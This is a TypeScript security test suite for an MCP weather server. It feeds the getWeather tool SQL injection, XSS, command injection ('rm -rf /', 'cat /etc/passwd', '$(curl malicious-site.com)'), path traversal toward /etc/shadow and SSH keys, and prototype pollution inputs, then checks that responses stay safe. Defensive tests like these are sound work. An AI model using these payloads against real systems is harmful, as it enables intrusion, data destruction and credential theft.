MCP Weather Server

import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; import path from 'path'; /** * Security Tests - Testing for vulnerabilities and data protection * These tests ensure the MCP server handles sensitive data securely */ describe('MCP Server Security Tests', () => { let client: Client; let transport: StdioClientTransport; beforeAll(async () => { const serverPath = path.resolve(__dirname, '../../src/main.ts'); transport = new StdioClientTransport({ command: "npx", args: ["-y", "tsx", serverPath] }); client = new Client({ name: "security-test-client", version: "1.0.0" }, { capabilities: {} }); await client.connect(transport); }, 15000); afterAll(async () => { if (client) { await client.close(); } }); describe('Input Sanitization', () => { it('should handle SQL injection attempts safely', async () => { const maliciousInputs = [ "'; DROP TABLE cities; --", "London'; EXEC xp_cmdshell('dir'); --", "London' OR '1'='1", "'; INSERT INTO logs VALUES ('hacked'); --" ]; for (const input of maliciousInputs) { const result = await client.callTool({ name: "getWeather", arguments: { city: input } }); // Should handle gracefully without exposing database errors or user input const responseText = (result.content as any)[0].text; expect(responseText).not.toContain('SQL'); expect(responseText).not.toContain('database'); expect(responseText).not.toContain('query'); // Should not echo back the malicious input expect(responseText).not.toContain('DROP'); expect(responseText).not.toContain('INSERT'); expect(responseText).not.toContain("'"); // Should provide safe error message expect(responseText).toMatch(/Error: (City not found|Invalid city name provided)/); } }); it('should handle XSS attempts safely', async () => { const xssInputs = [ "<script>alert('xss')</script>", "javascript:alert('xss')", "<img src=x onerror=alert('xss')>", "');alert('xss');//" ]; for (const input of xssInputs) { const result = await client.callTool({ name: "getWeather", arguments: { city: input } }); // Should sanitize or reject XSS attempts const responseText = (result.content as any)[0].text; expect(responseText).not.toContain('<script>'); expect(responseText).not.toContain('javascript:'); expect(responseText).not.toContain('onerror='); expect(responseText).not.toContain('<img'); // Should provide safe error message without echoing malicious input expect(responseText).toMatch(/Error: (City not found|Invalid city name provided)/); } }); it('should handle command injection attempts', async () => { const commandInjectionInputs = [ "London; rm -rf /", "London && cat /etc/passwd", "London | whoami", "London`cat /etc/hosts`", "$(curl malicious-site.com)" ]; for (const input of commandInjectionInputs) { const result = await client.callTool({ name: "getWeather", arguments: { city: input } }); // Should not execute system commands const responseText = (result.content as any)[0].text; expect(responseText).not.toContain('root:'); expect(responseText).not.toContain('/bin/bash'); expect(responseText).not.toContain('uid='); } }); }); describe('Data Privacy', () => { it('should not expose sensitive environment variables', async () => { // Try to get server to expose environment variables const result = await client.callTool({ name: "getWeather", arguments: { city: "test${HOME}test" } }); const responseText = (result.content as any)[0].text; // Should not expose environment variable values expect(responseText).not.toContain(process.env.HOME || '/Users'); expect(responseText).not.toContain(process.env.PATH || '/usr/bin'); expect(responseText).not.toContain('SECRET'); expect(responseText).not.toContain('TOKEN'); expect(responseText).not.toContain('PASSWORD'); }); it('should not leak API keys in error messages', async () => { // This test assumes API keys might be used in future const result = await client.callTool({ name: "getWeather", arguments: { city: "InvalidCity123" } }); const responseText = (result.content as any)[0].text; // Should not expose any API keys or tokens expect(responseText).not.toMatch(/[A-Za-z0-9]{20,}/); // Long alphanumeric strings expect(responseText).not.toContain('api_key'); expect(responseText).not.toContain('access_token'); expect(responseText).not.toContain('bearer'); }); it('should sanitize file path traversal attempts', async () => { const pathTraversalInputs = [ "../../../etc/passwd", "..\\..\\..\\windows\\system32\\config", "/etc/shadow", "~/.ssh/id_rsa", "..%2F..%2F..%2Fetc%2Fpasswd" ]; for (const input of pathTraversalInputs) { const result = await client.callTool({ name: "getWeather", arguments: { city: input } }); const responseText = (result.content as any)[0].text; // Should not access file system expect(responseText).not.toContain('root:x:'); expect(responseText).not.toContain('ssh-rsa'); expect(responseText).not.toContain('[boot loader]'); } }); }); describe('Error Information Disclosure', () => { it('should not expose internal file paths in errors', async () => { const result = await client.callTool({ name: "getWeather", arguments: { city: "" } }); const responseText = (result.content as any)[0].text; // Should not expose internal file paths expect(responseText).not.toContain('/Users/'); expect(responseText).not.toContain('/home/'); expect(responseText).not.toContain('node_modules'); expect(responseText).not.toContain(__dirname); expect(responseText).not.toContain('src/'); }); it('should not expose stack traces to users', async () => { // Try to trigger an error that might expose stack trace try { await client.callTool({ name: "getWeather", arguments: { city: null as any } }); } catch (error) { // Even if there's an error, it shouldn't expose internal details } const result = await client.callTool({ name: "getWeather", arguments: { city: "InvalidCity123" } }); const responseText = (result.content as any)[0].text; // Should not contain stack trace information expect(responseText).not.toContain('at Object.'); expect(responseText).not.toContain('at Module.'); expect(responseText).not.toContain('.js:'); expect(responseText).not.toContain('TypeError:'); expect(responseText).not.toContain('ReferenceError:'); }); it('should not expose server configuration details', async () => { const result = await client.callTool({ name: "getWeather", arguments: { city: "test" } }); const responseText = (result.content as any)[0].text; // Should not expose server configuration expect(responseText).not.toContain('localhost'); expect(responseText).not.toContain('127.0.0.1'); expect(responseText).not.toContain('port'); expect(responseText).not.toContain('database'); expect(responseText).not.toContain('connection'); }); }); describe('Resource Protection', () => { it('should handle extremely large inputs without DoS', async () => { // Test with very large city name const largeInput = 'A'.repeat(10000); const startTime = Date.now(); const result = await client.callTool({ name: "getWeather", arguments: { city: largeInput } }); const endTime = Date.now(); // Should respond quickly even with large input expect(endTime - startTime).toBeLessThan(5000); expect((result.content as any)).toBeDefined(); }); it('should handle unicode and special encoding attacks', async () => { const unicodeInputs = [ "🏴󠁧󠁢󠁥󠁮󠁧󠁿🏴󠁧󠁢󠁥󠁮󠁧󠁿🏴󠁧󠁢󠁥󠁮󠁧󠁿", // Flag emojis "\u0000\u0001\u0002\u0003", // Control characters "\uFEFF\uFFFE\uFFFF", // Unicode markers "𝕃𝕠𝕟𝕕𝕠𝕟", // Mathematical script "\x41\x42\x43", // Hex encoded ]; for (const input of unicodeInputs) { const result = await client.callTool({ name: "getWeather", arguments: { city: input } }); // Should handle gracefully expect((result.content as any)).toBeDefined(); const responseText = (result.content as any)[0].text; expect(responseText).toBeDefined(); } }); }); describe('Protocol Security', () => { it('should validate tool arguments schema strictly', async () => { // Try to inject additional fields try { await client.callTool({ name: "getWeather", arguments: { city: "London", __proto__: { isAdmin: true }, constructor: { prototype: { isAdmin: true } }, admin: true, internal: "hack" } }); } catch (error) { // Should reject due to schema validation expect(error).toBeDefined(); } }); it('should handle malformed MCP requests gracefully', async () => { // The MCP SDK should handle this, but we verify graceful failure try { await client.callTool({ name: "nonExistentTool", arguments: { invalid: "data" } }); } catch (error) { // Should be a proper MCP error, not a crash expect(error).toBeDefined(); } }); }); });